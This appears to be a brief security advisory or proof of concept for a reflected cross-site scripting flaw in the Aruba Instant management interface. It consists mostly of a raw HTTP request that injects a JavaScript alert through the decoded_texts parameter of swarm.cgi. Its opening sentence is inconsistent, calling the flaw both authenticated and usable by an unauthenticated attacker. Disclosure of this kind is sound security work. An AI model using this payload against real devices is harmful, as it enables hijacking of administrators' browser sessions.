There is an authenticated reflected XSS in the management interface of Aruba Instant that can allow an unauthenticated attacker to trick a user of the interface and execute javascript on his browser.
GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=';%0Aalert("Test");//&sid=XXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: IP:4343
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https:// IP:4343/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sid=XXXXXXXXXXXXXXXXXXXX